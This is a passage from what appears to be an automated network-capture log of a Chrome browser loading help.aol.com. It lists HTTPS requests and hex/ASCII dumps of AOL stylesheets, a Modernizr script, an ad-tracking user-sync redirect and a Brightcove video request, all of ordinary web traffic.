e&&"function"==typeof S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.6	50195	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	586	OUT	GET /caas-assets-production/assets/v1/aol_footer.a6b7d6a1bc8e39ac.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	621	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167490 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:35:04 GMT Etag: "a6b7d6a1bc8e39acdee82363feb23a2f" Last-Modified: Tue, 19 Sep 2023 10:24:45 GMT Server: ECAcc (lhd/35E5) Vary: Accept-Encoding x-amz-id-2: 6atwA/27BHEZ9B6jeset05hR3P7pXcucR0G0NwAyBuVnGGcXETn2cg1CtOUrC+i8iC8EbVDUAnA= x-amz-replication-status: COMPLETED x-amz-request-id: Y6Q37WV8R87CKEFN x-amz-server-side-encryption: AES256 x-amz-version-id: .nu3ChHsurHqGRqV.sxHTGOcUFfZKllA X-Cache: HIT Content-Length: 6200 Connection: close
2024-05-23 22:35:04 UTC	6200	IN	Data Raw: 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 6c 6f 67 6f 2d 77 72 61 70 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 36 35 70 78 7d 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 6c 69 6e 6b 73 2d 66 6f 6f 74 7b 77 69 64 74 68 3a 37 30 25 7d 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 73 6f 63 69 61 6c 2d 66 6f 6f 74 7b 77 69 64 74 68 3a 33 30 25 7d 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 73 6f 63 69 61 6c 2d 66 6f 6f 74 20 2e 69 74 65 6d 7b 77 69 64 74 68 3a 35 30 70 78 7d 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 7b 70 61 64 64 69 6e 67 3a 30 20 32 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 2d 77 Data Ascii: .ie-11 .m-AolFooter .logo-wrap{min-height:65px}.ie-11 .m-AolFooter .links-foot{width:70%}.ie-11 .m-AolFooter .social-foot{width:30%}.ie-11 .m-AolFooter .social-foot .item{width:50px}.m-AolFooter{padding:0 20px;width:100%}.m-AolFooter .container{display:-w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.6	50205	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	586	OUT	GET /caas-assets-production/assets/v1/aol_header.f181955cb1e46a84.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	622	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5166405 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:35:04 GMT Etag: "f181955cb1e46a84514734646610549a" Last-Modified: Mon, 29 Jan 2024 17:46:33 GMT Server: ECAcc (lhd/3597) Vary: Accept-Encoding x-amz-id-2: mLgSdwpVG+JU+78W841cms8Z80vF/wrgThhpD3QYKw+fCN3RMl26dUKCjzwSaW4DjAqiUkXm/wk= x-amz-replication-status: COMPLETED x-amz-request-id: FZX69YXKDZ8GJNT3 x-amz-server-side-encryption: AES256 x-amz-version-id: HF0GLII_KBcR7B0.peFVtPUoGzebkD7b X-Cache: HIT Content-Length: 84325 Connection: close
2024-05-23 22:35:04 UTC	16383	IN	Data Raw: 2e 6d 2d 67 61 6d 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 6d 2d 67 61 6d 5f 5f 70 6c 61 63 65 68 6f 6c 64 65 72 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 6d 61 72 67 Data Ascii: .m-gam{margin:auto}.m-gam__placeholder{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background-color:#e0e4e9;marg
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 6c 79 6f 75 74 2d 2d 68 69 67 68 2d 7a 20 2e 6d 2d 66 6c 79 6f 75 74 2d 2d 6f 70 65 6e 7b 7a 2d 69 6e 64 65 78 3a 32 30 30 30 7d 2e 6d 2d 66 6c 79 6f 75 74 2d 2d 6f 70 65 6e 7b 7a 2d 69 6e 64 65 78 3a 32 30 7d 2e 6d 2d 66 6c 79 6f 75 74 2d 2d 6f 70 65 6e 2e 6d 2d 66 6c 79 6f 75 74 2d 2d 6f 76 65 72 6c 61 79 3a 61 66 74 65 72 7b 7a 2d 69 6e 64 65 78 3a 2d 31 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 6f 70 61 63 69 74 79 3a 2e 32 35 7d 2e 6d 2d 66 6c Data Ascii: lyout--high-z .m-flyout--open{z-index:2000}.m-flyout--open{z-index:20}.m-flyout--open.m-flyout--overlay:after{z-index:-1;content:"";display:block;position:fixed;left:0;right:0;top:0;bottom:0;height:100vh;width:100vw;background-color:#000;opacity:.25}.m-fl
2024-05-23 22:35:05 UTC	2	IN	Data Raw: 30 70 Data Ascii: 0p
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 78 7d 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 6e 61 76 72 61 69 6c 5f 5f 64 69 76 69 64 65 72 2d 2d 6c 69 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 70 78 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 6d 2d 6d 74 6d 68 70 2d 6c 65 66 74 72 61 69 6c 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 6e 65 77 4e 61 76 2e 6d 69 6e 69 6d 69 73 65 64 20 2e 6e 61 76 72 61 69 6c 3e 6c 69 20 2e 6d 2d 6d 61 69 6c 2d 63 6f 75 6e 74 2d 2d 6e 61 76 72 61 69 6c 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 61 75 74 6f 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c Data Ascii: x}}.m-AolHeader .navrail__divider--line{background-color:#e0e4e9;width:100%;height:1px}.m-AolHeader .m-mtmhp-leftrail{display:none}.m-AolHeader.m-AolHeader--newNav.minimised .navrail>li .m-mail-count--navrail{position:absolute;left:auto}.m-AolHeader.m-Aol
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 74 69 6f 6e 2d 6d 65 6e 75 2d 61 6d 61 7a 6f 6e 20 2e 6c 6f 67 6f 75 74 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 20 73 76 67 2c 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 64 65 73 6b 74 6f 70 2d 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 2d 61 6d 61 7a 6f 6e 20 2e 6d 61 69 6c 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 20 73 76 67 2c 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 64 65 73 6b 74 6f 70 2d 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 2d 61 6d 61 7a 6f 6e 20 2e 70 72 6f 66 69 6c 65 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 20 Data Ascii: tion-menu-amazon .logout-button:hover svg,.m-AolHeader .desktop-user-navigation .user-navigation .user-navigation-menu-amazon .mail-button:hover svg,.m-AolHeader .desktop-user-navigation .user-navigation .user-navigation-menu-amazon .profile-button:hover
2024-05-23 22:35:05 UTC	2	IN	Data Raw: 67 68 Data Ascii: gh
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 74 3a 38 70 78 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 72 6f 75 6e 64 65 64 53 65 61 72 63 68 20 23 68 65 61 64 65 72 2d 66 6f 72 6d 20 2e 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 6c 69 73 74 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 72 6f 75 6e 64 65 64 53 65 61 72 63 68 20 23 68 65 61 64 65 72 2d 66 6f 72 6d 20 2e 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 6c 69 73 74 2e 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 6c 69 73 74 2d 61 63 74 69 76 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 72 6f 75 6e 64 65 64 53 65 Data Ascii: t:8px}.m-AolHeader.m-AolHeader--roundedSearch #header-form .wafer-autocomplete-list{display:none}.m-AolHeader.m-AolHeader--roundedSearch #header-form .wafer-autocomplete-list.wafer-autocomplete-list-active{display:block}.m-AolHeader.m-AolHeader--roundedSe
2024-05-23 22:35:05 UTC	2406	IN	Data Raw: 6f 70 2d 77 72 61 70 20 2e 74 69 74 6c 65 2d 62 61 72 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 70 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 3b 66 6c 65 78 3a 30 20 30 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 6e 61 76 56 32 20 2e 74 6f 70 2d 77 72 61 70 20 2e 74 69 74 6c 65 2d 62 61 72 20 2e 6d 2d 6d 61 69 6c 2d 2d 6e 65 77 2c 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 6e 61 76 56 32 20 2e 74 6f 70 2d 77 72 61 70 20 2e 74 69 74 6c 65 2d 62 61 72 20 2e 6d 2d 70 72 6f 66 69 6c 65 5f 5f 62 74 6e 2c 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 6e 61 76 56 32 20 2e Data Ascii: op-wrap .title-bar{padding:0;margin-left:10px;-webkit-box-flex:0;-ms-flex:0 0;flex:0 0}.m-AolHeader.m-AolHeader--navV2 .top-wrap .title-bar .m-mail--new,.m-AolHeader.m-AolHeader--navV2 .top-wrap .title-bar .m-profile__btn,.m-AolHeader.m-AolHeader--navV2 .

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.6	50207	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	572	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/css/aolv2.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	472	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 197049 Content-Type: text/css Date: Thu, 23 May 2024 22:35:04 GMT Etag: "c83a2608bb470871595d5699f2c7fc94" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/35BE) Vary: Accept-Encoding x-amz-id-2: MFfRHI6FCtkFk5vg+a/2v3qTV31Akudb+br5QHvSdpDZJhP3w1CL77z1xERgtwfqy5Q+vrrIfK0= x-amz-request-id: 76X3W2KDBBKE80AR x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 71321 Connection: close
2024-05-23 22:35:04 UTC	16383	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 38 2e 30 2e 31 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 65 63 6f 6c 61 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 2a 2f 0a 2f 2a 20 44 6f 63 75 6d 65 6e 74 0a 20 20 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 2a 0a 20 2a 20 31 2e 20 43 6f 72 72 65 63 74 20 74 68 65 20 6c 69 6e 65 20 68 65 69 67 68 74 20 69 6e 20 61 6c 6c 20 62 72 6f 77 73 65 72 73 2e 0a 20 2a 20 32 2e 20 50 72 65 76 65 6e 74 20 61 64 Data Ascii: @charset "UTF-8";/! normalize.css v8.0.1 \| MIT License \| github.com/necolas/normalize.css //* Document ========================================================================== //* * 1. Correct the line height in all browsers. * 2. Prevent ad
2024-05-23 22:35:04 UTC	1	IN	Data Raw: 6c Data Ascii: l
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 63 64 6e 2e 63 6f 6d 2f 6d 65 6d 62 65 72 73 68 69 70 2f 6f 6d 70 2d 73 74 61 74 69 63 2f 62 69 62 6c 69 6f 2f 69 63 6f 6e 73 2f 41 6f 6c 48 65 6c 70 49 63 6f 6e 73 2e 77 6f 66 66 3f 33 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6d 65 6d 62 65 72 73 68 69 70 2f 6f 6d 70 2d 73 74 61 74 69 63 2f 62 69 62 6c 69 6f 2f 69 63 6f 6e 73 2f 41 6f 6c 48 65 6c 70 49 63 6f 6e 73 2e 74 74 66 3f 33 22 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 2c 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6d 65 6d 62 65 72 73 68 69 70 2f 6f 6d 70 2d 73 74 61 74 69 63 2f 62 69 62 6c 69 6f 2f 69 63 6f 6e 73 2f 41 6f 6c 48 65 6c 70 49 63 6f 6e Data Ascii: cdn.com/membership/omp-static/biblio/icons/AolHelpIcons.woff?3") format("woff"), url("https://s.aolcdn.com/membership/omp-static/biblio/icons/AolHelpIcons.ttf?3") format("truetype"), url("https://s.aolcdn.com/membership/omp-static/biblio/icons/AolHelpIcon
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 72 64 2d 6c 69 73 74 20 3e 20 6c 69 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 23 63 6f 6e 74 61 63 74 20 2e 63 61 72 64 2d 6c 69 73 74 20 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 31 32 70 78 20 30 20 31 33 70 78 20 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 63 61 6c 63 28 31 20 2a 20 76 61 72 28 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 62 61 73 65 29 29 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 63 61 6c 63 28 31 2e 31 38 37 35 20 2a 20 76 61 72 28 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 62 61 73 65 29 29 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 63 Data Ascii: rd-list > li { border-color: transparent; padding: 0; border-bottom: none;}.main-content#contact .card-list p { margin: 12px 0 13px 0; font-size: calc(1 * var(--font-size-base)); line-height: calc(1.1875 * var(--font-size-base));}.main-c
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 70 3a 20 31 36 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 37 25 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 63 61 6c 63 28 30 2e 38 37 35 20 2a 20 76 61 72 28 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 62 61 73 65 29 29 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 63 61 6c 63 28 31 20 2a 20 76 61 72 28 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 62 61 73 65 29 29 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 20 23 70 72 6f 64 75 63 74 2d 64 65 74 61 69 6c 73 20 2e 70 72 6f 64 75 63 74 2d 64 65 74 61 69 6c 2d 76 65 72 73 69 6f 6e 73 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 20 23 70 72 6f 64 75 63 74 Data Ascii: p: 16px; margin-right: 7%; font-size: calc(0.875 * var(--font-size-base)); line-height: calc(1 * var(--font-size-base));}.main-content #product-details .product-detail-versions a { color: #FFF; text-decoration: none;}.main-content #product
2024-05-23 22:35:05 UTC	5788	IN	Data Raw: 6d 65 6e 75 5f 5f 74 69 74 6c 65 20 61 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6d 65 6e 75 5f 5f 6e 61 76 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 7d 0a 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 30 31 70 78 29 20 7b 0a 20 20 2e 6d 61 69 6e 2d 6d 65 6e 75 5f 5f 6e 61 76 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 7d 0a 7d 0a 2e 6d 61 69 6e 2d 6d 65 6e 75 5f 5f 6e 61 76 20 75 6c 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 7d 0a 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d Data Ascii: menu__title a { text-decoration: none; color: #000;}.main-menu__nav { display: inline;}@media (min-width: 901px) { .main-menu__nav { display: block; }}.main-menu__nav ul { margin: 0; padding: 0; display: inline;}@media (min-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.6	50196	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	553	OUT	GET /os/help-main/assets/js/modernizr-2.8.3.min.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	597	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: * Access-Control-Max-Age: 3000 Age: 325262 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:04 GMT Etag: "65f1d21d5fcc9d21da758adababd0c3c" Last-Modified: Fri, 31 Mar 2017 02:24:31 GMT Server: ECAcc (lhd/3595) Vary: Accept-Encoding x-amz-id-2: Ts3a048v+T4coTbBkHoC6fAI2kOaG3UrdvQM6kUwPd0ZLcvKJn9QNTgdE/jmT+IDFHZ1Y/zMTYU= x-amz-request-id: 90SMZKHXMARCFWYQ x-amz-version-id: Sz_p_Pv1A_R2AFHTaRcSvkvdrc80BfHm X-Cache: HIT Content-Length: 11084 Connection: close
2024-05-23 22:35:04 UTC	11084	IN	Data Raw: 77 69 6e 64 6f 77 2e 4d 6f 64 65 72 6e 69 7a 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 62 2e 63 73 73 54 65 78 74 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 72 28 53 2e 6a 6f 69 6e 28 65 2b 22 3b 22 29 2b 28 74 7c 7c 22 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 3d 3d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 72 65 74 75 72 6e 21 21 7e 28 22 22 2b 65 29 2e 69 6e 64 65 78 4f 66 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 65 29 7b 76 61 72 20 6f 3d 65 5b 72 5d 3b 69 66 28 21 69 28 6f 2c 22 2d 22 29 26 26 62 5b 6f 5d 21 3d 3d 6e 29 72 65 74 Data Ascii: window.Modernizr=function(e,t,n){function r(e){b.cssText=e}function o(e,t){return r(S.join(e+";")+(t\|\|""))}function a(e,t){return typeof e===t}function i(e,t){return!!~(""+e).indexOf(t)}function c(e,t){for(var r in e){var o=e[r];if(!i(o,"-")&&b[o]!==n)ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.6	50201	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	755	OUT	GET /sync?dsp_id=76&user_group=2&ssp=gumgum2&gdpr=0&user_id=GxUkpk4XKfUAEiP4GRY99E4QdfkAQXaiHkB5TLxF HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
2024-05-23 22:35:04 UTC	538	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:35:04 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //usersync.gumgum.com/usersync?b=bsw&i=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&gdpr_consent=&us_privacy= Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.6	50235	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	407	OUT	GET /playback/v1/accounts/6415665815001/videos/6353510307112 HTTP/1.1 Host: edge-auth.api.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
